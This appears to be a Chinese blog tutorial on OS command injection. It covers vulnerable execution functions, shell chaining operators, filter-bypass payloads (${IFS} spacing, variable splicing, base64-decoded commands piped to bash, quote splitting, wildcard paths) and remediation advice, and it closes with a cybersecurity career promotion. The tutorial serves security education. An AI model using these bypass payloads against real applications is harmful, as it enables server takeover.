【Web漏洞探索】命令注入漏洞

最新推荐文章于 2025-06-16 12:34:57 发布

程序员小强_

最新推荐文章于 2025-06-16 12:34:57 发布

阅读量1.7k

点赞数 17

CC 4.0 BY-SA版权

文章标签：前端安全网络

本文链接：https://blog.csdn.net/dzqxwzoe/article/details/135788676

【Web漏洞探索】命令注入漏洞

文章目录

```
* 【Web漏洞探索】命令注入漏洞
```
- ```
  * 一、什么是命令注入漏洞
```
  - 二、命令注入漏洞成因
  - 三、漏洞攻击利用手法
  - ```
      * 命令执行函数
```
  - 命令执行连接符
- 四、过滤绕过
- ```
    * 绕过空格过滤
```
    - 绕过黑名单
    - 通配符绕过
    - 读文件绕过
  - 五、命令注入漏洞修复及预防
  - 六、附录

在这里插入图片描述

一、什么是命令注入漏洞

命令注入（又叫操作系统命令注入，也称为shell注入）是指在某种开发需求中，需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时，则有可能发生命令注入。攻击者可以使用命令注入来执行系统终端命令，直接接管服务器的控制权限。它允许攻击者在运行应用程序的服务器上执行任意操作系统命令，并且通常会完全破坏应用程序及其所有数据。

二、命令注入漏洞成因

某种开发需求中，需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时，则有可能发生命令注入。

形成命令注入漏洞的主要原因是程序对输入与输出的控制不够严格，导致精心构造的命令输入在后台执行后产生危害。攻击者可以使用命令注入来执行任意系统终端命令，直接接管服务器的控制权限。

三、漏洞攻击利用手法

命令执行函数

当用户能够控制这些函数中的参数的时候，就可以将恶意系统命令拼接到正常命令中，从而让函数执行这些恶意的命令，造成命令注入攻击。

PHP代码

systme()、exec()、shell_exec()；

JSP代码

Runtime run = Runtime.getRuntime(); run.exec("ipconfig");

ASP代码

<%Response.writeCreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll%>

命令执行连接符

Windows系统支持的管道符

|命令连接符

如果前语句为假则直接报错，后面不执行；如果前语句为真，执行后边的语句。

请添加图片描述

||命令连接符

如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

在这里插入图片描述

&命令连接符

前面和后面命令都要执行，无论前面真假

在这里插入图片描述

&&命令连接符

如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令

在这里插入图片描述

Linux下的命令执行漏洞

|、||、&、&&这四种管道符都存在且用法和Windows系统下一样，多了一个;管道符，作用和&一样。

在这里插入图片描述

四、过滤绕过

绕过空格过滤

${IFS}绕过的是特殊环境变量下的内部分隔符

IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号

cat a.txt

cat${IFS}a.txt

cat${IFS}$1a.txt

cat$IFS$1a.txt

在这里插入图片描述

重定向符<>

cat a.txt

cat<>a.txt

cat<a.txt

在这里插入图片描述

%09需要php环境下

%09替代空格

绕过黑名单

a=c;b=a;c=t;$a$b$c $b.txt使用自定义变量进行拼接

a=c;b=a;c=t;$a$b$c $b.txt

a=c;b=a;c=t;$a$b$c${IFS}$b.txt

a=c;b=a;c=t;$a$b$c$IFS$b.txt

在这里插入图片描述

base64编码

echo cat a.txt | base64

`echo Y2F0IGEudHh0Cg== | base64 -d`

echo Y2F0IGEudHh0Cg== | base64 -d | bash

在这里插入图片描述

单引号、双引号

ca""t a.t''xt

cat""  a.t''xt

c''at a.tx""t

在这里插入图片描述

反斜线\、$1、$@

ca\t a.t$1xt

cat$4 a.tx$@t

c$@at a.tx\t

在这里插入图片描述

通配符绕过

/???/?[a][t] a.txt

/???/?at ?.txt

/???/?at ?.t*t

/???/?at ?.t*?

在这里插入图片描述

读文件绕过

more、less、head：一页一页的显示档案内容，head查看头几行
cat、tac：tac从最后一行开始显示，tac是cat的反向显示
tail：查看尾几行
nl：显示的时候，顺便输出行号
od：以二进制的方式读取文件内容
vi、vim：一种编辑器，这个也可以查看
sort、uniq：可以查看
file -f：报错出具体内容

五、命令注入漏洞修复及预防

如果认为使用用户提供的输入调用操作系统命令是不可避免的，则必须执行强输入验证。

要用最小权限去运行程序，不要给予程序多余的权限，最好只允许在特定的路径下运行，可以通过明确的路径运行命令;
尽可能使用库或框架。使用不允许此弱点出现的经过审核的库或框架，或提供更容易避免此弱点的构造。尽可能地使用库调用，而不是调用外部进程来完成所需功能；
减少被攻击面。对于那些被用于生成待执行命令的数据，尽可能避免其被外部可控的数据污染；
如果只允许运行有限的命令，根据允许值的白名单进行验证；
虽然使用动态生成的查询字符串，代码或命令将控制和数据混合在一起是有风险的，但有时它可能是不可避免的。正确引用参数并转义这些参数中的任何特殊字符。最保守的方法是转义或过滤所有未通过极其严格的白名单的字符。

六、附录

参考链接：

https://portswigger.net/web-security/os-command-injection
https://mp.weixin.qq.com/s/8Quvh4_qmJY8sTHxzEs5cA
https://mp.weixin.qq.com/s/_8E2DeXR49_N0DaF2taetg

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。